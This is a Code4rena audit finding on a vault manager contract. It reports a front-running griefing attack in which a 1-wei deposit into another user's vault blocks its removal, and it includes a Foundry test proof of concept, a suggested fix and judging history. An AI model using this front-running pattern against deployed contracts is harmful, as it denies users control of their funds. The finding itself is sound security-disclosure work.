Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 119/183
Findings: 1
Award: $7.35
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: TheSavageTeddy
Also found by: 0x175, 0x486776, 0xnev, AamirMK, AlexCzm, ArmedGoose, BiasedMerc, CaeraDenoir, Egis_Security, Jorgect, KYP, MrPotatoMagic, PoeAudits, SBSecurity, SovaSlava, VAD37, adam-idarrha, alix40, carrotsmuggler, d_tony7470, dimulski, grearlake, josephdara, ljj, n0kto, okolicodes, sashik_eth, sil3th, turvy_fuzz
7.3512 USDC - $7.35
The attacker can prevent the user from removing the volt. When removing the volt, there is a check that there are no funds on it. The protocol allows anyone to make deposits in other people's volts. An attacker can take advantage of this and frontrun the user’s transaction to remove volt, making deposit 1 vei into the user’s vault. The user will receive an error because volt contains funds.
Add this code into test/VaultManager.t.sol
function test_preventRemove() public { address user = makeAddr("user"); address attacker = makeAddr("attacker"); vm.deal(user, 1 ether); vm.deal(attacker, 1 wei); vm.startPrank(user); uint id = dNft.mintNft{value: 1 ether}(user); vaultManager.add(id, address(wethVault)); vm.stopPrank(); // Attacker frontrun user's tx vaultManager.remove() vm.startPrank(attacker); weth.deposit{value: 1 wei}(); weth.approve(address(vaultManager), 1 wei); vaultManager.deposit(id, address(wethVault), 1 wei); vm.stopPrank(); vm.prank(user); vm.expectRevert(0x53a4f9b4); // VaultHasAssets.selector vaultManager.remove(id, address(wethVault)); }
Manual review
When removing the volt, automatically withdraw funds to the address of the owner of the NFT
Other
#0 - c4-pre-sort
2024-04-29T08:23:11Z
JustDravee marked the issue as duplicate of #489
#1 - c4-pre-sort
2024-04-29T09:28:57Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T20:39:24Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-05T20:39:58Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T21:44:44Z
koolexcrypto marked the issue as nullified
#5 - c4-judge
2024-05-05T21:44:48Z
koolexcrypto marked the issue as not nullified
#6 - c4-judge
2024-05-05T21:44:53Z
koolexcrypto marked the issue as not a duplicate
#7 - c4-judge
2024-05-06T08:54:11Z
koolexcrypto marked the issue as duplicate of #118
#8 - c4-judge
2024-05-11T12:23:58Z
koolexcrypto marked the issue as satisfactory